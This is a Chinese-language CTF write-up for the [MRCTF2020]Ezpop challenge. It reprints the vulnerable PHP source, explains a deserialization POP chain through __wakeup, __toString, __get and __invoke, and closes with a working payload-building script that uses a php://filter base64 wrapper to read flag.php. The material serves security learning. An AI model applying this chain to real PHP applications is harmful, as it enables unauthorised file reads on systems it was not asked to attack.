[MRCTF2020]Ezpop

知识点

  • PHP反序列化POP链

知识点

是一道简单的PHP反序列化POP链的题目:


//flag is in flag.php
//WTF IS THIS?
//Learn From https://ctf.ieki.xyz/library/php.html#%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E9%AD%94%E6%9C%AF%E6%96%B9%E6%B3%95
//And Crack It!
class Modifier {
     
    protected  $var;
    public function append($value){
     
        include($value);
    }
    public function __invoke(){
     //当尝试以调用函数的方式调用一个对象时,__invoke() 方法会被自动调用。
        $this->append($this->var);
    }
}

class Show{
     
    public $source;
    public $str;
    public function __construct($file='index.php'){
     
        $this->source = $file;
        echo 'Welcome to '.$this->source."
"
; } public function __toString(){ return $this->str->source; } public function __wakeup(){ if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) { echo "hacker"; $this->source = "index.php"; } } } class Test{ public $p; public function __construct(){ $this->p = array(); } public function __get($key){ $function = $this->p; return $function(); } } if(isset($_GET['pop'])){ $a=@unserialize($_GET['pop']); } else{ $a=new Show; highlight_file(__FILE__); }

审起来思路还是比较顺的,首先发现

    public function append($value){
     
        include($value);
    }

首先想到我们要进行文件包含,利用伪协议然后b64来读flag.php.但是如何利用append方法呢?利用这个:

    public function __invoke(){
     //当尝试以调用函数的方式调用一个对象时,__invoke() 方法会被自动调用。
        $this->append($this->var);
    }

说明我们要想办法以调用函数的方式调用Modifier类的对象,发现在这里可以实现:

    public function __get($key){
     
        $function = $this->p;
        return $function();
    }

因此Test类对象的$p需要是new Modifier。但是__get怎么用呢?看一下官方文档:
在这里插入图片描述
因此访问Test类的不可访问属性的值就会调用,哪里可以利用呢?

    public function __toString(){
     
        return $this->str->source;
    }

显然,我们要让str是Test类的对象,然后source是Test类里面不可访问的。
但是怎么触发__toString()呢?发现了这个:

    public function __wakeup(){
     
        if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {
     
            echo "hacker";
            $this->source = "index.php";
        }
    }

preg_match中,$this->source是要当成字符串的,因此可以构造$this->source是Show类的对象,从而触发了这个链。
但是需要注意的是,还需要注意一些细节,就是__wakeup里面触发的是$this->source这个类中的__toString,因此我们需要进行赋值的是$this->source这个类里的一些属性,最终构造如下:


class Modifier {
     
    protected  $var="php://filter/read=convert.base64-encode/resource=flag.php";
}

class Show{
     
    public $source;
    public $str;
}

class Test{
     
    public $p;
    public function __construct(){
     
        $this->p =new Modifier();
    }
}

$a=new Show();
$a->str=new Test();
$a->source=new Show();
$a->source->str=new Test();

echo urlencode(serialize($a));

[MRCTF2020]Ezpop_第1张图片
再base64解码一下就成功得到了flag。

你可能感兴趣的:(序列化和反序列化,php,安全,web,序列化和反序列化)